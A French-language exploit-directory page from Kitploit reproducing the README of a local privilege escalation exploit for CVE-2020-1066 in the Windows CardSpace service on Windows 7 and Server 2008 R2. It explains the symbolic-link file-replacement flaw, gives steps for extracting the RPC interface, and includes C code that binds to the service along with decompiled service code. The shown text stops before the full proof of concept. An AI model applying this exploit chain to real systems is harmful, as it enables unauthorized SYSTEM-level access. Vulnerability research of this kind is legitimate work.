Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2020-1066-EXP — Exploit d'élévation de privilèges locale pour CVE-2020-1066 ciblant Windows 7 et Server 2008 R2. Exploite le remplacement arbitraire de fichiers via l'abus de lien symbolique du service Windows CardSpace (idsvc) pour obtenir une exécution de code au niveau SYSTEM. | Kitploit
Outils/GitHubGitHub/cbwang505/cve-2020-1066-exp
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationRétro-ingénierieDéveloppement de Charges UtilesExploitation de Binaires
GitHubcbwang505/cve-2020-1066-exp

CVE-2020-1066-EXP

Exploit d'élévation de privilèges locale pour CVE-2020-1066 ciblant Windows 7 et Server 2008 R2. Exploite le remplacement arbitraire de fichiers via l'abus de lien symbolique du service Windows CardSpace (idsvc) pour obtenir une exécution de code au niveau SYSTEM.

Voir le dépôt
1864120il y a 6 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Site web

Citation

Cette vulnérabilité est une élévation de privilèges locale par remplacement arbitraire de fichiers, due à une gestion incorrecte des objets de lien symbolique par le service Windows CardSpace.

Déclaration

Le PoC de l'auteur est fourni à des fins de recherche uniquement. Si le lecteur utilise ce PoC à d'autres fins, l'auteur décline toute responsabilité.

Table des matières

[toc]

Analyse

Périmètre d'impact de la vulnérabilité

Concerne les utilisateurs standard de Windows 7 et Windows Server 2008 R2, ainsi que les utilisateurs IIS bénéficiant d'une configuration spéciale.

Analyse du principe de la vulnérabilité

L'auteur est le soumetteur de cette vulnérabilité, mise à jour en mai 2020. La vulnérabilité provient du service Windows CardSpace (idsvc) de Windows 7 et Windows Server 2008 R2. Ce service peut être démarré par n'importe quel utilisateur, s'exécute avec les privilèges System et fournit des appels RPC publics. Lorsqu'un utilisateur déclenche le déplacement d'un fichier de configuration spécifique situé dans le répertoire %APPDATA% de son environnement utilisateur, le service ne gère pas correctement les objets de lien symbolique, ce qui entraîne une élévation de privilèges locale par remplacement arbitraire de fichiers. C'est la cause de la vulnérabilité.

Étant donné qu'il s'agit d'un appel RPC, il est nécessaire d'obtenir l'interface MIDL du service pour écrire un code local interagissant avec celui-ci. L'auteur recommande d'utiliser l'outil RpcView. Pour des détails, se référer à la série d'articles sur l'exploration des vulnérabilités RPC.

Utilisez d'abord la méthode suivante pour obtenir les fichiers de symboles et les configurer dans l'outil, puis décompilerez le fichier IDL de l'interface RPC. La méthode est la suivante :``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

![Cliquez pour agrandir l'image](https://assets.kitploit.com/production/public/readmes/23739/e352e478289e665f5c22d5cf68277d086dcd2514254004045ad6c8975749b18e.png)
Obtenez via l'outil les trois données importantes : le type de protocole Rpc, le nom du protocole et le fichier de définition du client de l'interface du protocole (fichier .c généré par la compilation du fichier IDL, voir la zone de texte Decompilation à gauche), ainsi vous pouvez lier le service Rpc de la manière suivante.```
BOOL StartRpcService()
{
	RPC_STATUS status;
	unsigned int  cMinCalls = 1;
	RPC_BINDING_HANDLE v5;
	RPC_SECURITY_QOS SecurityQOS = {};
	RPC_WSTR StringBinding = nullptr;
	if (StartConnectingService())
	{
       //Rpc协议的类型,协议名称
		status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
		if (status){
			printf("RpcStringBindingComposeW Failed:%d\n", status);
			return(status);
		}
		status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
		RpcStringFreeW(&StringBinding);
		if (status){
			printf("RpcBindingFromStringBindingW Failed:%d\n", status);
			return(status);
		}
		SecurityQOS.Version = 1;
		SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
		SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
		SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
		status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
		if (status){
			printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
			return(status);
		}
        //绑定接口
		status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
		if (status){
			printf("RpcEpResolveBinding Failed:%d\n", status);
			return(status);
		}
	}
	else
	{
		printf("Start Connecting Windows Cardspace Service Failed");
		return 0;
	}
	return 0;
}

En décompilant le code du service idsvc, on obtient le projet spécifique (voir les projets associés). Le service idsvc est lié au gestionnaire global RequestFactory.ProcessNewRequest de l'interface RPC globale. Pour le premier appel, c'est-à-dire lorsque parentRequestHandle est 0, la classe CreateClientRequestInstance est appelée pour gérer le rappel, et les opérations suivantes sont gérées par la classe CreateUIAgentRequestInstance.``` //全局RPC接口的全局处理程序  internal static int ProcessNewRequest(  int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs)         {            ... //初次调用                 if (parentRequestHandle == 0)                 {                     using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle())                     {                         using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream))                         {

                            string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求                             num = clientRequestInstance.DoProcessRequest(out extendedMessage);                             RpcResponse outArgs1;                             RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果                             outArgs = outArgs1.Marshal();        } } }

Le service idsvc utilise la réflexion pour appeler la classe appropriée selon le nom de classe dans le champ RpcRequest->Type afin de traiter le callback ; ici, le PoC utilise la classe « ManageRequest » ;```
 private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
        {
            ClientRequest clientRequest = (ClientRequest)null;
            lock (RequestFactory.s_createRequestSync)
            {              
                RequestFactory.RequestName request = 
RequestFactory.s_requestMap[reqName];
                if (-1 != 
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests, 
request))
                {
                    Process contextMapping = 
ClientUIRequest.GetContextMapping(rpcHandle, true);
                    InfoCardTrace.ThrowInvalidArgumentConditional(null == 
contextMapping, nameof(rpcHandle));               
                   WindowsIdentity executionIdentity = 
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
                    InfoCardUIAgent agent = 
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
                    switch (RequestFactory.s_requestMap[reqName])
                    {                       
//这里使用的是"ManageRequest"类;
                        case RequestFactory.RequestName.ManageRequest:

                            clientRequest = (ClientRequest)new 
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, 
outStream);
                            break;                    

                    }
                }

触发ManageRequest实例的DoProcessRequest函数处理请求,省略中间步骤,最后调用StoreConnection.CreateDefaultDataSources()来到了利用点。 在与服务交互过程中服务会模拟用户(Impersonate Client)并获取用户配置文件,默认为用户环境变量%APPDATA%目录下指定配置文件,对于IIS用户特殊情况默认不加载配置文件需开启如下配置才可以实现,点击应用程序池->高级设置。 Cliquez pour agrandir``` //构造函数   protected StoreConnection(WindowsIdentity identity)

Télécharger l’outil